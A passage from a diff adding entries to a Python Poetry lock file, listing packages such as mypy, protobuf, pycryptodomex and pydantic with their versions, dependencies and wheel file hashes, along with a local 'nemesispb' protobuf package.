+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:509eac6cf09c794aa27bcacfd4d62c885cce62bef7b2c3e8b2e49d365b5003fe"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:21a12c4eb6ddc9952c415f24eef97e3e55ba3af61f67c7bc388dcdec1404a067"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:5cad9430ab3e2e4fa4a2ef4450f548768400a2ac635841bc2a56a2052cdbeb87"},
+ {file = "multidict-6.0.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ab55edc2e84460694295f401215f4a58597f8f7c9466faec545093045476327d"},
+ {file = "multidict-6.0.4-cp37-cp37m-win32.whl", hash = "sha256:5a4dcf02b908c3b8b17a45fb0f15b695bf117a67b76b7ad18b73cf8e92608775"},
+ {file = "multidict-6.0.4-cp37-cp37m-win_amd64.whl", hash = "sha256:6ed5f161328b7df384d71b07317f4d8656434e34591f20552c7bcef27b0ab88e"},
+ {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5fc1b16f586f049820c5c5b17bb4ee7583092fa0d1c4e28b5239181ff9532e0c"},
+ {file = "multidict-6.0.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1502e24330eb681bdaa3eb70d6358e818e8e8f908a22a1851dfd4e15bc2f8161"},
+ {file = "multidict-6.0.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b692f419760c0e65d060959df05f2a531945af31fda0c8a3b3195d4efd06de11"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:45e1ecb0379bfaab5eef059f50115b54571acfbe422a14f668fc8c27ba410e7e"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ddd3915998d93fbcd2566ddf9cf62cdb35c9e093075f862935573d265cf8f65d"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:59d43b61c59d82f2effb39a93c48b845efe23a3852d201ed2d24ba830d0b4cf2"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cc8e1d0c705233c5dd0c5e6460fbad7827d5d36f310a0fadfd45cc3029762258"},
+ {file = "multidict-6.0.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d6aa0418fcc838522256761b3415822626f866758ee0bc6632c9486b179d0b52"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6748717bb10339c4760c1e63da040f5f29f5ed6e59d76daee30305894069a660"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:4d1a3d7ef5e96b1c9e92f973e43aa5e5b96c659c9bc3124acbbd81b0b9c8a951"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:4372381634485bec7e46718edc71528024fcdc6f835baefe517b34a33c731d60"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:fc35cb4676846ef752816d5be2193a1e8367b4c1397b74a565a9d0389c433a1d"},
+ {file = "multidict-6.0.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:4b9d9e4e2b37daddb5c23ea33a3417901fa7c7b3dee2d855f63ee67a0b21e5b1"},
+ {file = "multidict-6.0.4-cp38-cp38-win32.whl", hash = "sha256:e41b7e2b59679edfa309e8db64fdf22399eec4b0b24694e1b2104fb789207779"},
+ {file = "multidict-6.0.4-cp38-cp38-win_amd64.whl", hash = "sha256:d6c254ba6e45d8e72739281ebc46ea5eb5f101234f3ce171f0e9f5cc86991480"},
+ {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:16ab77bbeb596e14212e7bab8429f24c1579234a3a462105cda4a66904998664"},
+ {file = "multidict-6.0.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bc779e9e6f7fda81b3f9aa58e3a6091d49ad528b11ed19f6621408806204ad35"},
+ {file = "multidict-6.0.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4ceef517eca3e03c1cceb22030a3e39cb399ac86bff4e426d4fc6ae49052cc60"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:281af09f488903fde97923c7744bb001a9b23b039a909460d0f14edc7bf59706"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:52f2dffc8acaba9a2f27174c41c9e57f60b907bb9f096b36b1a1f3be71c6284d"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b41156839806aecb3641f3208c0dafd3ac7775b9c4c422d82ee2a45c34ba81ca"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d5e3fc56f88cc98ef8139255cf8cd63eb2c586531e43310ff859d6bb3a6b51f1"},
+ {file = "multidict-6.0.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8316a77808c501004802f9beebde51c9f857054a0c871bd6da8280e718444449"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:f70b98cd94886b49d91170ef23ec5c0e8ebb6f242d734ed7ed677b24d50c82cf"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:bf6774e60d67a9efe02b3616fee22441d86fab4c6d335f9d2051d19d90a40063"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:e69924bfcdda39b722ef4d9aa762b2dd38e4632b3641b1d9a57ca9cd18f2f83a"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:6b181d8c23da913d4ff585afd1155a0e1194c0b50c54fcfe286f70cdaf2b7176"},
+ {file = "multidict-6.0.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:52509b5be062d9eafc8170e53026fbc54cf3b32759a23d07fd935fb04fc22d95"},
+ {file = "multidict-6.0.4-cp39-cp39-win32.whl", hash = "sha256:27c523fbfbdfd19c6867af7346332b62b586eed663887392cff78d614f9ec313"},
+ {file = "multidict-6.0.4-cp39-cp39-win_amd64.whl", hash = "sha256:33029f5734336aa0d4c0384525da0387ef89148dc7191aae00ca5fb23d7aafc2"},
+ {file = "multidict-6.0.4.tar.gz", hash = "sha256:3666906492efb76453c0e7b97f2cf459b0682e7402c0489a95484965dbc1da49"},
+]
+
+[[package]]
+name = "mypy"
+version = "0.971"
+description = "Optional static typing for Python"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "mypy-0.971-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f2899a3cbd394da157194f913a931edfd4be5f274a88041c9dc2d9cdcb1c315c"},
+ {file = "mypy-0.971-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:98e02d56ebe93981c41211c05adb630d1d26c14195d04d95e49cd97dbc046dc5"},
+ {file = "mypy-0.971-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:19830b7dba7d5356d3e26e2427a2ec91c994cd92d983142cbd025ebe81d69cf3"},
+ {file = "mypy-0.971-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:02ef476f6dcb86e6f502ae39a16b93285fef97e7f1ff22932b657d1ef1f28655"},
+ {file = "mypy-0.971-cp310-cp310-win_amd64.whl", hash = "sha256:25c5750ba5609a0c7550b73a33deb314ecfb559c350bb050b655505e8aed4103"},
+ {file = "mypy-0.971-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:d3348e7eb2eea2472db611486846742d5d52d1290576de99d59edeb7cd4a42ca"},
+ {file = "mypy-0.971-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3fa7a477b9900be9b7dd4bab30a12759e5abe9586574ceb944bc29cddf8f0417"},
+ {file = "mypy-0.971-cp36-cp36m-win_amd64.whl", hash = "sha256:2ad53cf9c3adc43cf3bea0a7d01a2f2e86db9fe7596dfecb4496a5dda63cbb09"},
+ {file = "mypy-0.971-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:855048b6feb6dfe09d3353466004490b1872887150c5bb5caad7838b57328cc8"},
+ {file = "mypy-0.971-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:23488a14a83bca6e54402c2e6435467a4138785df93ec85aeff64c6170077fb0"},
+ {file = "mypy-0.971-cp37-cp37m-win_amd64.whl", hash = "sha256:4b21e5b1a70dfb972490035128f305c39bc4bc253f34e96a4adf9127cf943eb2"},
+ {file = "mypy-0.971-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:9796a2ba7b4b538649caa5cecd398d873f4022ed2333ffde58eaf604c4d2cb27"},
+ {file = "mypy-0.971-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5a361d92635ad4ada1b1b2d3630fc2f53f2127d51cf2def9db83cba32e47c856"},
+ {file = "mypy-0.971-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:b793b899f7cf563b1e7044a5c97361196b938e92f0a4343a5d27966a53d2ec71"},
+ {file = "mypy-0.971-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d1ea5d12c8e2d266b5fb8c7a5d2e9c0219fedfeb493b7ed60cd350322384ac27"},
+ {file = "mypy-0.971-cp38-cp38-win_amd64.whl", hash = "sha256:23c7ff43fff4b0df93a186581885c8512bc50fc4d4910e0f838e35d6bb6b5e58"},
+ {file = "mypy-0.971-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1f7656b69974a6933e987ee8ffb951d836272d6c0f81d727f1d0e2696074d9e6"},
+ {file = "mypy-0.971-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d2022bfadb7a5c2ef410d6a7c9763188afdb7f3533f22a0a32be10d571ee4bbe"},
+ {file = "mypy-0.971-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:ef943c72a786b0f8d90fd76e9b39ce81fb7171172daf84bf43eaf937e9f220a9"},
+ {file = "mypy-0.971-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:d744f72eb39f69312bc6c2abf8ff6656973120e2eb3f3ec4f758ed47e414a4bf"},
+ {file = "mypy-0.971-cp39-cp39-win_amd64.whl", hash = "sha256:77a514ea15d3007d33a9e2157b0ba9c267496acf12a7f2b9b9f8446337aac5b0"},
+ {file = "mypy-0.971-py3-none-any.whl", hash = "sha256:0d054ef16b071149917085f51f89555a576e2618d5d9dd70bd6eea6410af3ac9"},
+ {file = "mypy-0.971.tar.gz", hash = "sha256:40b0f21484238269ae6a57200c807d80debc6459d444c0489a102d7c6a75fa56"},
+]
+
+[package.dependencies]
+mypy-extensions = ">=0.4.3"
+tomli = {version = ">=1.1.0", markers = "python_version < \"3.11\""}
+typing-extensions = ">=3.10"
+
+[package.extras]
+dmypy = ["psutil (>=4.0)"]
+python2 = ["typed-ast (>=1.4.0,<2)"]
+reports = ["lxml"]
+
+[[package]]
+name = "mypy-extensions"
+version = "1.0.0"
+description = "Type system extensions for programs checked with the mypy type checker."
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "mypy_extensions-1.0.0-py3-none-any.whl", hash = "sha256:4392f6c0eb8a5668a69e23d168ffa70f0be9ccfd32b5cc2d26a34ae5b844552d"},
+ {file = "mypy_extensions-1.0.0.tar.gz", hash = "sha256:75dbf8955dc00442a438fc4d0666508a9a97b6bd41aa2f0ffe9d2f2725af0782"},
+]
+
+[[package]]
+name = "mypy-protobuf"
+version = "3.4.0"
+description = "Generate mypy stub files from protobuf specs"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "mypy-protobuf-3.4.0.tar.gz", hash = "sha256:7d75a079651b105076776a35a5405e3fa773b8a167118f1b712e443e9a6c18a2"},
+ {file = "mypy_protobuf-3.4.0-py3-none-any.whl", hash = "sha256:da33dfde7547ff57e5ba5564126cbfa114f14413b2fa50759b1fa5de1e4ab511"},
+]
+
+[package.dependencies]
+protobuf = ">=4.21.8"
+types-protobuf = ">=3.20.4"
+
+[[package]]
+name = "nemesispb"
+version = "0.1.0"
+description = "Nemesis python protobuf"
+optional = false
+python-versions = "^3.9"
+files = []
+develop = true
+
+[package.dependencies]
+mypy-protobuf = "^3.4.0"
+protobuf = "^4.21.5"
+
+[package.source]
+type = "directory"
+url = "../nemesispb"
+
+[[package]]
+name = "packaging"
+version = "23.1"
+description = "Core utilities for Python packages"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "packaging-23.1-py3-none-any.whl", hash = "sha256:994793af429502c4ea2ebf6bf664629d07c1a9fe974af92966e4b8d2df7edc61"},
+ {file = "packaging-23.1.tar.gz", hash = "sha256:a392980d2b6cffa644431898be54b0045151319d1e7ec34f0cfed48767dd334f"},
+]
+
+[[package]]
+name = "pamqp"
+version = "3.2.1"
+description = "RabbitMQ Focused AMQP low-level library"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pamqp-3.2.1-py2.py3-none-any.whl", hash = "sha256:15acef752356593ca569d13dfedc8ada9f17deeeb8cec4f7b77825e2b6c7de3e"},
+ {file = "pamqp-3.2.1.tar.gz", hash = "sha256:22550ceb1ca50aafda65873e77e8c1c1b139fb5975e1a09860fae940cf8e970a"},
+]
+
+[package.extras]
+codegen = ["lxml", "requests", "yapf"]
+testing = ["coverage", "flake8", "flake8-comprehensions", "flake8-deprecated", "flake8-import-order", "flake8-print", "flake8-quotes", "flake8-rst-docstrings", "flake8-tuple", "yapf"]
+
+[[package]]
+name = "pathspec"
+version = "0.11.1"
+description = "Utility library for gitignore style pattern matching of file paths."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pathspec-0.11.1-py3-none-any.whl", hash = "sha256:d8af70af76652554bd134c22b3e8a1cc46ed7d91edcdd721ef1a0c51a84a5293"},
+ {file = "pathspec-0.11.1.tar.gz", hash = "sha256:2798de800fa92780e33acca925945e9a19a133b715067cf165b8866c15a31687"},
+]
+
+[[package]]
+name = "platformdirs"
+version = "3.8.1"
+description = "A small Python package for determining appropriate platform-specific dirs, e.g. a \"user data dir\"."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "platformdirs-3.8.1-py3-none-any.whl", hash = "sha256:cec7b889196b9144d088e4c57d9ceef7374f6c39694ad1577a0aab50d27ea28c"},
+ {file = "platformdirs-3.8.1.tar.gz", hash = "sha256:f87ca4fcff7d2b0f81c6a748a77973d7af0f4d526f98f308477c3c436c74d528"},
+]
+
+[package.extras]
+docs = ["furo (>=2023.5.20)", "proselint (>=0.13)", "sphinx (>=7.0.1)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"]
+test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest-cov (>=4.1)", "pytest-mock (>=3.10)"]
+
+[[package]]
+name = "pluggy"
+version = "1.2.0"
+description = "plugin and hook calling mechanisms for python"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pluggy-1.2.0-py3-none-any.whl", hash = "sha256:c2fd55a7d7a3863cba1a013e4e2414658b1d07b6bc57b3919e0c63c9abb99849"},
+ {file = "pluggy-1.2.0.tar.gz", hash = "sha256:d12f0c4b579b15f5e054301bb226ee85eeeba08ffec228092f8defbaa3a4c4b3"},
+]
+
+[package.extras]
+dev = ["pre-commit", "tox"]
+testing = ["pytest", "pytest-benchmark"]
+
+[[package]]
+name = "prometheus-async"
+version = "22.2.0"
+description = "Async helpers for prometheus_client."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "prometheus-async-22.2.0.tar.gz", hash = "sha256:b0426370eb3b3bacd99afcf1fcc669c118cb67603cc951a6fe12434e9d4307f2"},
+ {file = "prometheus_async-22.2.0-py3-none-any.whl", hash = "sha256:5cbfa535561342b834c087c4f3f3be0a3cb8785a0b8748111c916f3d68bbc370"},
+]
+
+[package.dependencies]
+aiohttp = {version = ">=3", optional = true, markers = "extra == \"aiohttp\""}
+prometheus_client = ">=0.8.0"
+typing_extensions = {version = ">=3.10.0", markers = "python_version < \"3.10\""}
+wrapt = "*"
+
+[package.extras]
+aiohttp = ["aiohttp (>=3)"]
+consul = ["aiohttp (>=3)"]
+dev = ["aiohttp", "cogapp", "coverage[toml]", "furo", "mypy", "myst-parser", "pre-commit", "pytest", "pytest-asyncio", "pytest-twisted", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "tomli", "twisted"]
+docs = ["aiohttp", "furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-asyncio", "twisted"]
+tests = ["coverage[toml]", "pytest", "pytest-asyncio"]
+twisted = ["twisted"]
+
+[[package]]
+name = "prometheus-client"
+version = "0.17.1"
+description = "Python client for the Prometheus monitoring system."
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "prometheus_client-0.17.1-py3-none-any.whl", hash = "sha256:e537f37160f6807b8202a6fc4764cdd19bac5480ddd3e0d463c3002b34462101"},
+ {file = "prometheus_client-0.17.1.tar.gz", hash = "sha256:21e674f39831ae3f8acde238afd9a27a37d0d2fb5a28ea094f0ce25d2cbf2091"},
+]
+
+[package.extras]
+twisted = ["twisted"]
+
+[[package]]
+name = "protobuf"
+version = "4.23.4"
+description = ""
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "protobuf-4.23.4-cp310-abi3-win32.whl", hash = "sha256:5fea3c64d41ea5ecf5697b83e41d09b9589e6f20b677ab3c48e5f242d9b7897b"},
+ {file = "protobuf-4.23.4-cp310-abi3-win_amd64.whl", hash = "sha256:7b19b6266d92ca6a2a87effa88ecc4af73ebc5cfde194dc737cf8ef23a9a3b12"},
+ {file = "protobuf-4.23.4-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:8547bf44fe8cec3c69e3042f5c4fb3e36eb2a7a013bb0a44c018fc1e427aafbd"},
+ {file = "protobuf-4.23.4-cp37-abi3-manylinux2014_aarch64.whl", hash = "sha256:fee88269a090ada09ca63551bf2f573eb2424035bcf2cb1b121895b01a46594a"},
+ {file = "protobuf-4.23.4-cp37-abi3-manylinux2014_x86_64.whl", hash = "sha256:effeac51ab79332d44fba74660d40ae79985901ac21bca408f8dc335a81aa597"},
+ {file = "protobuf-4.23.4-cp37-cp37m-win32.whl", hash = "sha256:c3e0939433c40796ca4cfc0fac08af50b00eb66a40bbbc5dee711998fb0bbc1e"},
+ {file = "protobuf-4.23.4-cp37-cp37m-win_amd64.whl", hash = "sha256:9053df6df8e5a76c84339ee4a9f5a2661ceee4a0dab019e8663c50ba324208b0"},
+ {file = "protobuf-4.23.4-cp38-cp38-win32.whl", hash = "sha256:e1c915778d8ced71e26fcf43c0866d7499891bca14c4368448a82edc61fdbc70"},
+ {file = "protobuf-4.23.4-cp38-cp38-win_amd64.whl", hash = "sha256:351cc90f7d10839c480aeb9b870a211e322bf05f6ab3f55fcb2f51331f80a7d2"},
+ {file = "protobuf-4.23.4-cp39-cp39-win32.whl", hash = "sha256:6dd9b9940e3f17077e820b75851126615ee38643c2c5332aa7a359988820c720"},
+ {file = "protobuf-4.23.4-cp39-cp39-win_amd64.whl", hash = "sha256:0a5759f5696895de8cc913f084e27fd4125e8fb0914bb729a17816a33819f474"},
+ {file = "protobuf-4.23.4-py3-none-any.whl", hash = "sha256:e9d0be5bf34b275b9f87ba7407796556abeeba635455d036c7351f7c183ef8ff"},
+ {file = "protobuf-4.23.4.tar.gz", hash = "sha256:ccd9430c0719dce806b93f89c91de7977304729e55377f872a92465d548329a9"},
+]
+
+[[package]]
+name = "pycodestyle"
+version = "2.9.1"
+description = "Python style guide checker"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "pycodestyle-2.9.1-py2.py3-none-any.whl", hash = "sha256:d1735fc58b418fd7c5f658d28d943854f8a849b01a5d0a1e6f3f3fdd0166804b"},
+ {file = "pycodestyle-2.9.1.tar.gz", hash = "sha256:2c9607871d58c76354b697b42f5d57e1ada7d261c261efac224b664affdc5785"},
+]
+
+[[package]]
+name = "pycparser"
+version = "2.21"
+description = "C parser in Python"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+files = [
+ {file = "pycparser-2.21-py2.py3-none-any.whl", hash = "sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9"},
+ {file = "pycparser-2.21.tar.gz", hash = "sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206"},
+]
+
+[[package]]
+name = "pycryptodomex"
+version = "3.18.0"
+description = "Cryptographic library for Python"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*"
+files = [
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:160a39a708c36fa0b168ab79386dede588e62aec06eb505add870739329aecc6"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:c2953afebf282a444c51bf4effe751706b4d0d63d7ca2cc51db21f902aa5b84e"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:ba95abd563b0d1b88401658665a260852a8e6c647026ee6a0a65589287681df8"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:192306cf881fe3467dda0e174a4f47bb3a8bb24b90c9cdfbdc248eec5fc0578c"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:f9ab5ef0718f6a8716695dea16d83b671b22c45e9c0c78fd807c32c0192e54b5"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-win32.whl", hash = "sha256:50308fcdbf8345e5ec224a5502b4215178bdb5e95456ead8ab1a69ffd94779cb"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27m-win_amd64.whl", hash = "sha256:4d9379c684efea80fdab02a3eb0169372bca7db13f9332cb67483b8dc8b67c37"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:5594a125dae30d60e94f37797fc67ce3c744522de7992c7c360d02fdb34918f8"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:8ff129a5a0eb5ff16e45ca4fa70a6051da7f3de303c33b259063c19be0c43d35"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:3d9314ac785a5b75d5aaf924c5f21d6ca7e8df442e5cf4f0fefad4f6e284d422"},
+ {file = "pycryptodomex-3.18.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:f237278836dda412a325e9340ba2e6a84cb0f56b9244781e5b61f10b3905de88"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:ac614363a86cc53d8ba44b6c469831d1555947e69ab3276ae8d6edc219f570f7"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:302a8f37c224e7b5d72017d462a2be058e28f7be627bdd854066e16722d0fc0c"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:6421d23d6a648e83ba2670a352bcd978542dad86829209f59d17a3f087f4afef"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d84e105787f5e5d36ec6a581ff37a1048d12e638688074b2a00bcf402f9aa1c2"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6875eb8666f68ddbd39097867325bd22771f595b4e2b0149739b5623c8bf899b"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:27072a494ce621cc7a9096bbf60ed66826bb94db24b49b7359509e7951033e74"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:1949e09ea49b09c36d11a951b16ff2a05a0ffe969dda1846e4686ee342fe8646"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6ed3606832987018615f68e8ed716a7065c09a0fe94afd7c9ca1b6777f0ac6eb"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-win32.whl", hash = "sha256:d56c9ec41258fd3734db9f5e4d2faeabe48644ba9ca23b18e1839b3bdf093222"},
+ {file = "pycryptodomex-3.18.0-cp35-abi3-win_amd64.whl", hash = "sha256:e00a4bacb83a2627e8210cb353a2e31f04befc1155db2976e5e239dd66482278"},
+ {file = "pycryptodomex-3.18.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:2dc4eab20f4f04a2d00220fdc9258717b82d31913552e766d5f00282c031b70a"},
+ {file = "pycryptodomex-3.18.0-pp27-pypy_73-win32.whl", hash = "sha256:75672205148bdea34669173366df005dbd52be05115e919551ee97171083423d"},
+ {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:bec6c80994d4e7a38312072f89458903b65ec99bed2d65aa4de96d997a53ea7a"},
+ {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d35a8ffdc8b05e4b353ba281217c8437f02c57d7233363824e9d794cf753c419"},
+ {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:76f0a46bee539dae4b3dfe37216f678769349576b0080fdbe431d19a02da42ff"},
+ {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:71687eed47df7e965f6e0bf3cadef98f368d5221f0fb89d2132effe1a3e6a194"},
+ {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:73d64b32d84cf48d9ec62106aa277dbe99ab5fbfd38c5100bc7bddd3beb569f7"},
+ {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbdcce0a226d9205560a5936b05208c709b01d493ed8307792075dedfaaffa5f"},
+ {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:58fc0aceb9c961b9897facec9da24c6a94c5db04597ec832060f53d4d6a07196"},
+ {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:215be2980a6b70704c10796dd7003eb4390e7be138ac6fb8344bf47e71a8d470"},
+ {file = "pycryptodomex-3.18.0.tar.gz", hash = "sha256:3e3ecb5fe979e7c1bb0027e518340acf7ee60415d79295e5251d13c68dde576e"},
+]
+
+[[package]]
+name = "pydantic"
+version = "1.10.11"
+description = "Data validation and settings management using python type hints"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "pydantic-1.10.11-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ff44c5e89315b15ff1f7fdaf9853770b810936d6b01a7bcecaa227d2f8fe444f"},
+ {file = "pydantic-1.10.11-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:a6c098d4ab5e2d5b3984d3cb2527e2d6099d3de85630c8934efcfdc348a9760e"},
+ {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:16928fdc9cb273c6af00d9d5045434c39afba5f42325fb990add2c241402d151"},
+ {file = "pydantic-1.10.11-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0588788a9a85f3e5e9ebca14211a496409cb3deca5b6971ff37c556d581854e7"},
+ {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e9baf78b31da2dc3d3f346ef18e58ec5f12f5aaa17ac517e2ffd026a92a87588"},
+ {file = "pydantic-1.10.11-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:373c0840f5c2b5b1ccadd9286782852b901055998136287828731868027a724f"},
+ {file = "pydantic-1.10.11-cp310-cp310-win_amd64.whl", hash = "sha256:c3339a46bbe6013ef7bdd2844679bfe500347ac5742cd4019a88312aa58a9847"},
+ {file = "pydantic-1.10.11-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:08a6c32e1c3809fbc49debb96bf833164f3438b3696abf0fbeceb417d123e6eb"},
+ {file = "pydantic-1.10.11-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a451ccab49971af043ec4e0d207cbc8cbe53dbf148ef9f19599024076fe9c25b"},
